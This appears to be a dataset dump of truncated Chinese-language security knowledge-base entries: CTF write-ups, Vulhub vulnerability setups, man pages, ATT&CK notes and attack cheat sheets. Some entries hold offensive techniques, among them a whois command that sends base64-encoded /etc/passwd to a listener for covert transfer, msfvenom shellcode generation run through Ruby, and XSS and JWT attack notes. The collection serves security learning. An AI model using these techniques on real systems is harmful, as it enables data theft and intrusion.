text
stringlengths
100
9.93M
category
stringclasses
11 values
# CRLF注入 ```java package com.example.controller; import org.springframework.http.HttpHeaders; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org...
sec-knowleage
# Heap overflow Binary Exploitation, 450 points ## Description: > Just pwn this using a heap overflow taking advantage of douglas malloc free program and get a flag. ```c #include <stdlib.h> #include <stdio.h> #include <string.h> #define FLAGSIZE 128 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r");...
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH TEE 1 2022年9月 "GNU coreutils 9.1"...
sec-knowleage
## Steganography 1 (Stegano, 100p) Find image files in the file ![](MrFusion.gpjb) Please input flag like this format-->SECCON{*** ** **** ****} ###PL [ENG](#eng-version) Dostajemy plik o rozszerzeniu .gpjb. Polecenie `file` rozpoznaje go jako gif: ![](out.0.gif) Ale po otworzeniu tego pliku w hexedytorze o...
sec-knowleage
.\" Copyright (c) 1998 Andries Brouwer .\" .\" This is free documentation; you can redistribute it and/or .\" modify it under the terms of the GNU General Public License as .\" published by the Free Software Foundation; either version 2 of .\" the License, or (at your option) any later version. .\" .\" The GNU General ...
sec-knowleage
# phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。 参考文档: - https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog - https://www.phpmyadmin.net/security/PMASA-2018-4/ ## 漏洞环境 执行如下命令,启动phpmyadmin 4.8.1: ``` docker compose up -d ``` 环境启动后,访问`htt...
sec-knowleage
# Rsync未授权访问漏洞 ## 漏洞描述 `Rsync`是`Linux`下一款数据备份工具,支持通过`rsync`协议、`ssh`协议进行远程文件传输。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员。其中`rsync`协议默认监听`873`端口,而一般开发人员安全意识薄弱的情况下,如果目标开启了`rsync`服务,并且没有配置`ACL`或访问密码,我们将可以读写目标服务器文件。 ## 环境搭建 rsyncd.conf ``` uid = root gid = root use chroot = no max connections = 4 syslog facility = local5 pid file =...
sec-knowleage
# Infosec Prep OSCP Box > https://download.vulnhub.com/infosecprep/oscp.zip 靶场IP: ![image-20220720104840709](../../.gitbook/assets/image-20220720104840709.png) 扫描对外端口 ``` ┌──(root💀kali)-[/tmp] └─# nmap -p 1-65535 192.168.32.177 ...
sec-knowleage
# Reversing-II 100 (NES reverse engineering) We are provided with a NES ROM (`impossible_game.nes`). The goal is simple - find a cheat code for walking through walls. The hints explain that we should flip only one bit in a data section of the ROM. We would ideally avoid reversing the entire game, as that would take for...
sec-knowleage
### CTF中SQL 注入类题目概述 通过在用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的: 1. 程序编写者在处理应用程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句 2. 未对用户可控参数进行足够的过滤便将参数内容拼接进入到 SQL 语句中 ### CTF中XSS 跨站脚本攻击类题目概述 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时...
sec-knowleage
nm === 显示二进制目标文件的符号表 ## 补充说明 **nm命令** 被用于显示二进制目标文件的符号表。 ### 语法 ```shell nm(选项)(参数) ``` ### 选项 ```shell -A:每个符号前显示文件名; -D:显示动态符号; -g:仅显示外部符号; -r:反序显示符号表。 ``` ### 参数 目标文件:二进制目标文件,通常是库文件和可执行文件。
sec-knowleage
### 快速配置 第一步安装**git bash**; ``` https://git-scm.com/download/win ``` 第二步安装**node.js**; ``` https://nodejs.org/dist/v6.10.3/node-v6.10.3-x64.msi ``` 第三步安装**npm**; ``` npm install -g cnpm --registry=https://registry.npm.taobao.org ``` 第四步安装**react**; ``` npm install -g create-react-app ``` 第五步安装插件; **axios**(ajax): ...
sec-knowleage
"""CVE20209402 URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-b...
sec-knowleage
from django.apps import AppConfig class VulnConfig(AppConfig): name = 'vuln' default_auto_field = 'django.db.models.BigAutoField'
sec-knowleage
convertquota === 把老的配额文件转换为新的格式 ## 补充说明 **convertquota命令** 用于将老的磁盘额数据文件(“quota.user”和“quota.group”)转换为新格式的文件(“quota.user”和“quota.group”)。 ### 语法 ```shell convertquota(选项)(参数) ``` ### 选项 ```shell -u:仅转换用户磁盘配额数据文件; -g:仅转换组磁盘配额数据文件; -f:将老的磁盘配额文件转换为新的格式; -e:将新的文件格式从大字节序换为小字节序。 ``` ### 参数 文件系统:指定要转换磁盘配额数据文件格式的文件系统(硬盘分区)。...
sec-knowleage
# Discuz 7.x/6.x 全局变量防御绕过导致代码执行 由于php5.3.x版本里php.ini的设置里`request_order`默认值为GP,导致`$_REQUEST`中不再包含`$_COOKIE`,我们通过在Cookie中传入`$GLOBALS`来覆盖全局变量,造成代码执行漏洞。 具体原理请参考: - https://www.secpulse.com/archives/2338.html ## 漏洞环境 执行如下命令启动Discuz 7.2: ``` docker compose up -d ``` 启动后,访问`http://your-ip:8080/install/`来安装discuz,数据库地址填...
sec-knowleage
# T1059-004-linux-脚本 ## 来自ATT&CK的描述 攻击者可能会滥用Unix shell命令和脚本来执行。Unix shell是Linux和macOS系统上的主要命令提示符,尽管Unix shell存在许多变体(例如sh,bash,zsh等),具体取决于特定的OS或发行版。Unix shell可以使用某些要求提升特权的命令来控制系统的各个方面。 Unix shell还支持脚本,这些脚本支持顺序执行命令以及其他典型的编程操作,例如条件和循环。Shell脚本的常见用法包括冗长或重复的任务,或者需要在多个系统上运行同一组命令。 攻击者可能会滥用Unix shell来执行各种命令或有效载荷。可以通过命令和控制通道或在横向...
sec-knowleage
# S2-005 远程代码执行漏洞 影响版本: 2.0.0 - 2.1.8.1 漏洞详情: http://struts.apache.org/docs/s2-005.html ## 原理 参考吴翰清的《白帽子讲Web安全》一书。 > s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法...
sec-knowleage
# WhiteHat 2020 finals Team: msm, chivay, c7, k.2, eternal, rodbert, nazywam ### Table of contents * [reversing01](reversing01) * [programming02](programming02) * [programming03](programming03) * [misc04](misc04)
sec-knowleage
# Preflag Pwn, 10 points ## Description > LFI is Local flag inclusion ## Solution We enter the attached website and are presented with a short form: ```html <html> <head> <title>Preflag</title> </head> <body> <form action="gcc" method="POST" enctype="multipart/form-data"> <input type...
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH TSORT 1 2022年9月 "GNU coreutils 9....
sec-knowleage
## JSON ### 简介 - JavaScript 对象表示法(JavaScript Object Notation)。 - 存储和交换文本信息的语法。类似 XML。 - 比 XML 更小、更快,更易解析。 ### Json语法 ```js var jsonObject= { propertyName(属性名):value(值), //对象内的属性语法(属性名与属性值是成对出现的) functionName(函数名):fucntion(){.......} //对象内的函数语法(函数名与函数内容是成对出现的) } ``` - 数据在名称/值对中 `"":""` - 数据由逗号分隔 `"":"","...
sec-knowleage
from pwn import * import binascii import hashlib code = {'A': '.-', 'B': '-...', 'C': '-.-.', 'D': '-..', 'E': '.', 'F': '..-.', 'G': '--.', 'H': '....', 'I': '..', 'J': '.---', 'K': '-.-', 'L': '.-..', 'M': '--', 'N': '-.', 'O': '---', 'P': '.--...
sec-knowleage
## 8. 状态(State) ### Intent 允许对象在内部状态改变时改变它的行为,对象看起来好像修改了它所属的类。 ### Class Diagram <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/79df886f-fdc3-4020-a07f-c991bb58e0d8.png"/> </div><br> ### Implementation 糖果销售机有多种状态,每种状态下销售机有不同的行为,状态可以发生转移,使得销售机的行为也发生改变。 <div align="center"> <img ...
sec-knowleage
# Brainers To Hire * Category: Web * 100 points ## Description > Layoffs are worldwide, but we're strong, have terrific customers, and have lots of money. > > So if you are unsatisfied with what you do, or you just like to be a millionaire upload your resume! ## Solution Didn't solve this one during the CTF, got the i...
sec-knowleage
# XSS Cheat Sheet (Basic) ## Introduction Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There is 3 types of XSS Attack: - Reflected XSS Attack where the malicious script runs from another website through the web browser - Stored XSS Stored...
sec-knowleage
# T1003-003-win-使用vssown.vbs获得NTDS.dit文件 ## 来自ATT&CK的描述 攻击者可能试图访问或创建Active Directory域数据库的副本,以便窃取凭据信息,以及获取有关域成员(例如设备,用户和访问权限)的其他信息。默认情况下,NTDS文件(NTDS.dit)位于%SystemRoot%\NTDS\Ntds.dit域控制器中。 除了在活动的域控制器上查找NTDS文件之外,攻击者还可能搜索包含相同或相似信息的备份。 下列工具和技术可用于枚举NTDS文件和整个Active Directory哈希的内容。 - 卷影复制 - secretsdump.py - 使用内置的Windows工具ntdsu...
sec-knowleage
# somestufflsimportant * Category: Web Application * 500 Points * Solved by the JCTF Team ## Description > Can you find it? https://somestufflsimportant.challenges.bsidestlv.com/ ## Solution We access the site and get the following response: ```console root@kali:/media/sf_CTFs/bsidestlv/somestufflsimportant# curl https...
sec-knowleage
aptitude === Debian Linux系统中软件包管理工具 ## 补充说明 **aptitude命令** 与apt-get命令一样,都是Debian Linux及其衍生系统中功能极其强大的包管理工具。与apt-get不同的是,aptitude在处理依赖问题上更佳一些。举例来说,aptitude在删除一个包时,会同时删除本身所依赖的包。这样,系统中不会残留无用的包,整个系统更为干净。它通过文本操作菜单和命令两种方式管理软件包。 ### 语法 ```shell aptitude(选项)(参数) ``` ### 选项 ```shell -h:显示帮助信息; -d:仅下载软件包,不执行安装操作; -P:每一步操作都要求确认;...
sec-knowleage
# CORS Misconfiguration > A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’...
sec-knowleage
import struct, string, sys s = open("code", "rb").read() s=s[4:] al = string.uppercase instructions = [] for i in range(len(s)/16): tp, reg, n1, n2 = struct.unpack("<IIII", s[i*16:i*16+16]) instructions.append((tp, reg, n1, n2)) for i, ins in enumerate(instructions): tp, reg, n1, n2 = ins print "%02...
sec-knowleage
management: endpoints: web: exposure: include: "*" spring: cloud: gateway: routes: - id: index uri: http://example.com predicates: - Method=GET
sec-knowleage
# T1586-002-盗取账户-电子邮箱账户 ## 来自ATT&CK的描述 攻击者可能会盗用可在攻击目标过程中使用的电子邮件账户。攻击者可以使用被盗用的电子邮件账户来推进他们的行动,例如利用它们来进行信息钓鱼或网络钓鱼。如果潜在的受害者与被攻击的角色有关系,或者知道被攻击的角色,那么利用现有的角色与被攻击的电子邮件账户可能会使他们产生一定程度的信任。被入侵的电子邮件账户也可用于获取基础设施(例如:域名)。 盗取电子邮件账户的方法有很多,例如通过钓鱼网站收集信息,从第三方网站购买证书,或通过暴力破解(例如:从违规凭据转储中重用密码,简单理解:撞库)。在盗取电子邮件账户之前,攻击者可能会进行侦察,以决定破坏哪些账户来推进其行动。 攻击...
sec-knowleage
利用whois传输文件: 传输机: ```bash root@john:~# whois -h 127.0.0.1 -p 4444 `cat /etc/passwd | base64` ``` 接受机: ```bash root@john:/tmp# nc -l -v -p 4444 | sed "s/ //g" | base64 -d ``` ![](media/cd6ba6694ef1388b87dc4a5ce706ecd8.jpg) ![](media/2ee55e5bed9e117f9340df1f2e755410.jpg) **优点:**适用于隐蔽传输。最小化被发现。 **缺点:**适用于传输小文件。 > 后者...
sec-knowleage
znew === 将.Z压缩包重新转化为gzip命令压缩的.gz压缩包 ## 补充说明 **znew命令** 用于将使用compress命令压缩的“.Z”压缩包重新转化为使用gzip命令压缩的“.gz”压缩包。 ### 语法 ```shell znew(选项)(参数) ``` ### 选项 ```shell -f:# 强制执行转换操作,即是目标“.gz”已经存在; -t:# 删除原文件前测试新文件; -v:# 显示文件名和每个文件的压缩比; -9:# 使用最高压缩率,速度较慢; -P:# 使用管道完成转换操作,以降低磁盘空间使用; -K:# 当“.Z”文件比“.gz”文件小时,保留“.Z”文件。 ``` ### 参数 文件:指...
sec-knowleage
# PLC攻击 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **PLC的概念** PLC 控制系统(Programmable Logic Controller,可编程逻辑控制器),专为工业生产设计的一种数字运算操作的电子装置,它采用一类可编程的存储器,用于其内部存储程序,执行逻辑运算,顺序控制,定时,计数与算术操作等面向用户的指令,并通过数字或模拟式输入/输出控制各种类型的机械或生产过程。是工业控制的核心部分。简要的说,PLC 就是一部小型的工业电脑。 PLC 的关键技术在于其内部固化了一个能解释梯形图语言的程序及辅助通讯程序,实际上,设计...
sec-knowleage
### [第五十一课:项目回忆:体系的本质是知识点串联](../Chapter1/51_项目回忆:体系的本质是知识点串联.md) ### [第五十二课:渗透的本质是信息搜集](../Chapter1/52_渗透的本质是信息搜集.md) ### [第五十三课:内网渗透中的文件传输](../Chapter1/53_内网渗透中的文件传输.md) ### [第五十四课:基于Powershell做Socks 4-5代理](../Chapter1/54_基于Powershell做Socks4-5代理.md) ### [第五十五课:与Smbmap结合攻击](../Chapter1/55_与Smbmap结合攻击.md) ### ...
sec-knowleage
# 进程 > 注 : 笔记中拓扑图 drawio 源文件在其图片目录下 --- <p align="center"> <a href="http://turnoff.us/geek/zombie-processes/"><img src="../../../../assets/img/banner/进程.png" width="70%"></a> </p> --- ## 基础 ### 线程和进程的关系 多进程和多线程都是并发,都可以提高处理器的利用效率,但在 Linux 系统中,进程和线程几乎没有区别。 编译好的可执行程序只是一个文件,不是进程,可执行文件必须要载入内存,包装成一个进程才能真正跑起来。进程是要依靠操作系统创建...
sec-knowleage
# Get started (pwn 100) ###ENG [PL](#pl-version) In the task we get an ELF [binary](get_started) to work with. Ret-dec results are: ```c int main(int argc, char ** argv) { printf("Qual a palavrinha magica? "); int32_t str; gets((char *)&str); return 0; } ``` So not much code is executed, but we can see ...
sec-knowleage
# Google CTF 2018 Quals Team: c7f.m0d3, akrasuski1, chivay, rodbert, eternal, sasza, nazywam, monk, shalom ### Table of contents * [Perfect secrecy (crypto)](crypto_secrecy) * [MITM (crypto)](crypto_mitm) * [Dogestore (crypto)](crypto_dogestore) * [Translate (web)](web_translate) * [Cat chat (web)](web_catchat) * [Shal...
sec-knowleage
# T1218-011-win-基于白名单Zipfldr.dll执行Payload ## 来自ATT&CK的描述 Rundll32.exe程序可以调用来执行任意二进制文件。攻击者可能会利用此功能来代理执行代码,从而避免触发那些可能不会监控rundll32.exe进程执行的安全工具,因为正常操作中使用rundll32.exe的Windows会有白名单或误报。 Rundll32.exe可用于通过未记录的shell32.dll函数Control_RunDLL和 Control_RunDLLAsUser来执行控制面板项目文件(.cpl)。双击.cpl文件也会触发rundll32.exe执行。 Rundll32也可用于执行JavaScript...
sec-knowleage
# Zabbix Server trapper命令注入漏洞(CVE-2020-11800) Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。在[CVE-2017-2824][1]中,其Server端 trapper command 功能存在一处代码执行漏洞,而修复补丁并不完善,导致可以利用IPv6进行绕过,注入任意命令。 参考链接: - https://xz.aliyun.com/t/8991 ## 环境搭建 执行如下命令启动一个完整的Zabbix环境,包含Web端、Server端、1个Agent和Mysql数据库: ``` docker comp...
sec-knowleage
# Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396) Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。 参考资料: - https://paper.seebug.org/884/ - https://jira.atlassian.com/browse/CONFSERVER-57974 ## 环境搭建 执行如下命令启动一个Confluence Server 6.10.2: ``` docker compose up -d ```...
sec-knowleage
version: '2' services: web: image: vulhub/imagemagick:7.0.8-10-php command: php -t /var/www/html -S 0.0.0.0:8080 volumes: - ./index.php:/var/www/html/index.php ports: - "8080:8080"
sec-knowleage
xset === 设置X-Window系统中的用户爱好的实用工具 ## 补充说明 **xset命令** 是设置X-Window系统中的用户爱好的实用工具。 ### 语法 ```shell xset(选项)(参数) ``` ### 选项 ```shell -b:蜂鸣器开关设置; -c:键盘按键声响设置。 ``` ### 参数 * c:键盘按键声响设置; * s:屏幕保护程序设置。
sec-knowleage
# Shall we play a game (re 113p, 111 solved) This turned out to be a very annoying challenge, because I was working on the x86 version of it, and it was broken and didn't give the proper flag. As a result I solved this task 3 times, with 3 different methods, which is worth writing down. The challenge is a simple [Andro...
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH MKTEMP 1 2022年9月 "GNU coreutils 9...
sec-knowleage
hostnamectl === 查询或更改系统主机名 ## 补充说明 hostnamectl可用于查询和更改系统主机名和相关设置。 ### 语法 ```bash hostnamectl [选项...] 指令 ... ``` ### 指令 ```bash status 显示当前主机名设置 set-hostname NAME 设置系统主机名 set-icon-name NAME 设置主机的图标名称 set-chassis NAME 设置主机的机箱类型 set-deployment NAME 设置主机的部署环境 set-location NAME 设置主机位...
sec-knowleage
--- title: Miranda categories: Information Gathering tags: [kali linux,information gathering,UPNP] date: 2020-11-19 11:10:00 --- ## Miranda包说明 Miranda 是一个基于 Python 的 UPNP (即插即用)的客户端应用,其旨在发现、查询和与 UPNP 型设备交互,特别是互联网网关设备(又称路由器)。它可用于审核网络上启用了 UPNP 设备是否存在漏洞。它的功能包括: - 支持选项补全和命令历史记录的交互 Shell - 被动和主动发现 UPNP 型设备 - 可自定义的搜索引擎查询(查询...
sec-knowleage
# Where no man has GOne before! * Category: Reverse Engineering * 300 Points * Solved by the JCTF Team ## Description > In this simple challenge, you need to break the protection in order to extract the flag > > http://revengme.challenges.bsidestlv.com/revengme The link contained a binary file. ## Solution Let's start ...
sec-knowleage
## Captcha (ppc/Misc, 300p) ### PL Version `for ENG version scroll down` Zadanie polegało na rozwiązaniu 500 kodów captcha poprawnie pod rząd, przy czym można było pomijać których nie chcieliśmy rozwiązywać captche. Serwowane kody miały postać: ![](./captcha.png) W celu rozwiązania zadania napisaliśmy skrypt w pythonie...
sec-knowleage
# Glasglow 1.1 > https://download.vulnhub.com/glasgowsmile/GlasgowSmile-v1.1.zip 靶场IP:`192.168.32.222` 扫描对外端口服务 ``` ┌──(root💀kali)-[~] └─# nmap -p 1-65535 -sV 192.168.32.222 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-10 10:00 EDT Nmap scan report for 192.168.32.222 Host is up (0.00036s latency). Not shown: 65...
sec-knowleage
## 组件的组合、嵌套和组件树 ### 组建的创建 第一种组件的创建方式 **function** ``` import React from 'react' import ReactDom from 'react-dom' function Hello(){ return ( <div> <h1>我是第一种组件的创建方式</h1> </div> ) } ReactDom.render(<Hello />,document.querySelector('#root')) ``` **注意**: 1. 自定义的组件都必须要用大写字母开头,普通的 HTML 标签都...
sec-knowleage
# Who do I Trust Misc, 100 points ## Description: > Who issued the certificate to tamuctf.com? > (Not in standard gigem{flag} format) ## Solution: We can use `curl` to determine the CN of the certificate issuer. ```console root@kali:/media/sf_CTFs/tamu# curl -vI https://tamuctf.com * Rebuilt URL to: https://tamuctf.com...
sec-knowleage
# RSA 复杂题目 ## 2018 Tokyo Western Mixed Cipher 题目给的信息如下所示: - 每次交互可以维持的时间长度约为 5 分钟 - 每次交互中中n是确定的 1024 bit,但是未知, e 为 65537 - 使用 aes 加密了 flag,密钥和 IV 均不知道 - 每次密钥是固定的,但是 IV 每次都会随机 - 可以使用 encrypt 功能随意使用 rsa 和 aes 进行加密,其中每次加密都会对 aes 的 iv 进行随机 - 可以使用 decrypt 对随意的密文进行解密,但是只能知道最后一个字节是什么 - 可以使用 print_flag 获取 flag 密文 - 可以使用 print_k...
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: return.n,v 1.2 2003/11/24 05:09:59...
sec-knowleage
--- title: golismero categories: Information Gathering tags: [information gathering,golismero,kali linux] date: 2017-04-23 05:07:00 --- 0x00 golismero介绍 ------------- GoLismero是安全性测试的开源框架。它是目前面向网络的安全性,但它可以很容易地扩展到其他类型的扫描。 <!--more--> 该框架的最有趣的特点是: ```plain - 真正的跨平台独立性,经过Windows,Linux,* BSD和OS X平台测试。 - 没有平台本地库依赖,纯Python...
sec-knowleage
.\" 版权所有 Andries Brouwer, Ragnar Hojlond Espinosa和A Wik 1998. .\" 中文版版权所有 astonia,BitBIRD, www.linuxforum.net 2000 .\" 本文件可以在LDP GENERAL licence 1998年第一版所述条件下拷贝, .\" 并且该许可可同本文件一起分发。 .\" .TH DD 1 "November 1998" "GNU fileutils 4.0" .SH NAME dd \- 转换和拷贝文件 .SH 摘要 .B dd .B [\-\-help] [\-\-version] .BI [if= file ] .BI [of= ...
sec-knowleage
# Tabnabbing ## Introduction When you open a link in a new tab ( target="_blank" ), the page that opens in a new tab can access the initial tab and change it's location using the window.opener property. ## How to find ```html <a href="..." target="_blank" rel="" /> <a href="..." target="_blank" /> ``` ## How to Explo...
sec-knowleage
package com.b1ngz.sec.controller; import com.b1ngz.sec.model.Target; import com.b1ngz.sec.util.ResourceUtils; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web...
sec-knowleage
# Apache Solr 远程命令执行漏洞(CVE-2019-0193) 漏洞原理与分析可以参考: - https://mp.weixin.qq.com/s/typLOXZCev_9WH_Ux0s6oA - https://paper.seebug.org/1009/ Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设...
sec-knowleage
# 哈希函数 哈希函数(Hash Function)把消息或数据压缩成摘要,使得数据量变小。其一般模型如下 显然对于任何一个hash值,理论上存在若干个消息与之对应,即碰撞。 哈希函数的基本需求如下 | 需求 | 描述 | | ------ | ---------------------------------------- | | 输入长度可变 | hash函数可以应用于任意长度的数据 | | 输出长度固定 | hash函数的输出长度固定 | | 效率...
sec-knowleage
package org.vulhub.shirodemo; import org.apache.shiro.authc.*; import org.apache.shiro.authz.AuthorizationInfo; import org.apache.shiro.realm.AuthorizingRealm; import org.apache.shiro.subject.PrincipalCollection; public class MainRealm extends AuthorizingRealm { @Override protected AuthorizationInfo doGetAut...
sec-knowleage
from django.http import HttpResponse, JsonResponse from django.db.models.functions import Trunc from django.db.models import Count from .models import WebLog def create_log(request): method = request.method url = request.build_absolute_uri() user_agent = request.META.get('HTTP_USER_AGENT') WebLog.obje...
sec-knowleage
# JWT 安全 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- 关于 JWT 认证的基本知识点可见笔记 [认证 & 授权](../../../../Develop/Web/笔记/认证&授权.md#JWT) **相关文章** - [全程带阻:记一次授权网络攻防演练 (上) ](https://www.freebuf.com/vuls/211842.html) - [对jwt的安全测试方式总结](https://saucer-man.com/information_security/377.html) - [攻击JWT的一些方法 ](https:...
sec-knowleage
本季是为配合msf在渗透过程中无文件渗透,提前做基础过度。也为msf插件编写做基础过度。 ### ruby shellcode 生成如下: ```ruby msfvenom ‐p windows/messagebox TEXT=Micropoor TITLE=Micropoor ‐f ruby ‐‐smallest ``` ![](media/56aa6d4fb31384a6c8f8e972e66f9a2b.jpg) ![](media/708fd97e6cb1c45afd361b8b53e6ffc5.jpg) ### 附源码: ```ruby require 'fiddle' require 'fiddle/import' req...
sec-knowleage
# REbase Binary RE, 400 points ## Description: > You receive an ELF binary which you must unlock with a key. Find the key and it will contain your flag. ## Solution: Let's start by inspecting the binary: ```console root@kali:/media/sf_CTFs/mitre/rebase# file REbase-fix REbase-fix: ELF 64-bit LSB executable, x86-64, ver...
sec-knowleage
# Gaara > https://download.vulnhub.com/gaara/Gaara.ova 靶场IP:`192.168.2.6` 扫描对外端口服务 ``` ┌──(root㉿kali)-[/tmp] └─# nmap -p1-65535 -sV 192.168.2.6 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-04 09:26 EDT Nmap scan report for 192.168.2.6 Host is up (0.00016s latency). Not shown: 65533 closed tcp ports (reset) PORT ...
sec-knowleage
import wave import binascii res = '' f = wave.open('S3cr3tM3ss4g3.wav','rb') for frame in f.readframes(f.getnframes()): res += str(ord(frame) & 0x1) print binascii.unhexlify(format(int(res, 2), 'x'))
sec-knowleage
# Apache OfBiz 反序列化命令执行漏洞(CVE-2020-9496) Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。 其17.12.04版本之前的XMLRPC接口存在一处反序列化漏洞,攻击者利用这个漏洞可以在目标服务器上执行任意命令。 参考链接: - https://securi...
sec-knowleage
# JaWT Scratchpad Web Exploitation, 400 points ## Description: > Check the admin scratchpad! ## Solution: Let's connect to the provided website: ```console root@kali:/media/sf_CTFs/pico/JaWT_Scratchpad# curl https://2019shell1.picoctf.com/problem/37903/ <!doctype html> <html> <title> JaWT - an online scratchpa...
sec-knowleage
package org.vulhub.xstreamsample; import com.thoughtworks.xstream.XStream; import org.springframework.web.bind.annotation.*; @RestController public class HelloController { @GetMapping(value = "/") public String hello() { return "hello, input your information please."; } @PostMapping(valu...
sec-knowleage
# 云靶场搭建 在进行靶场搭建的时候,主要需要考虑的是以下几个问题: - 网络状况 - 主机性能 - 靶场本身安全性 - 可运营程度 对于个人或者资源有限的安全部门来说,他们的优势是: - 自由度更高,“穷则思变”,相对来说对建设靶场的各种要求与“政策”相对宽松 - 个人主机性能较好 他们的短处是: - 云主机缺少,或者其性能较差 - 人力资源却少,专门的运维、运营人员少
sec-knowleage
# Leetcode 题解 - 数组与矩阵 <!-- GFM-TOC --> * [Leetcode 题解 - 数组与矩阵](#leetcode-题解---数组与矩阵) * [1. 把数组中的 0 移到末尾](#1-把数组中的-0-移到末尾) * [2. 改变矩阵维度](#2-改变矩阵维度) * [3. 找出数组中最长的连续 1](#3-找出数组中最长的连续-1) * [4. 有序矩阵查找](#4-有序矩阵查找) * [5. 有序矩阵的 Kth Element](#5-有序矩阵的-kth-element) * [6. 一个数组元素在 [1, n] 之间,其中一个数被替换为另一个数,找出...
sec-knowleage
# Integer Overflow and Underflow ## 原理 EVM的整数有 `int` 和 `uint` 两种,对应有无符号的情况。在 `int` 或 `uint` 后可以跟随一个8的倍数,表示该整数的位数,如8位的 `uint8`。位数上限为256位,`int` 和 `uint` 分别是 `int256` 和 `uint256` 的别名,一般 `uint` 使用的更多。 在整数超出位数的上限或下限时,就会静默地进行取模操作。通常我们希望费用向上溢出变小,或者存款向下溢出变大。整数溢出漏洞可以使用 SafeMath 库来防御,当发生溢出时会回滚交易。 ## 例子 以 Capture The Ether 的 Tok...
sec-knowleage
# MFOC [Mifare Classic Offline Cracker] ## 项目主页 > https://github.com/nfc-tools/mfoc.git ## 简介 MFOC是一款用于实施Nethemba"离线嵌套"攻击的开源软件。 此程序允许从MIFARE Classic卡中恢复身份验证密钥。 请注意,MFOC只有在具有已知密匙时才能从目标恢复其他密钥: 默认密钥(在MFOC中使用硬编码) 或自定义密钥(由用户通过命令行输入)。 ## 从源码编译 ``` $ git clone https://github.com/nfc-tools/mfoc.git $ cd mfoc $ autoreconf -is $...
sec-knowleage
# X-Day威胁分析与对战技巧 ## 目录 [TOC] ## 流行APT手法分析与APT29档案解密 ### solarwinds 供应链分析 - 3月,Prodaft(瑞士安全公司)对solarwinds进行事件分析溯源 - 供应链攻击流程 - msbuild注入 - 感染后,会进行目标监听,判断高价值目标 - 谷歌整理的供应链攻击流程分析图 - developer-source-build-package-dependency-use ### 关于APT29 #### 组织能力 - 钻石模型 - 攻击者 - 毛熊背景 - 受害者 - 基础设施 - 攻击者攻陷(毛熊特点)——私有资产——第...
sec-knowleage
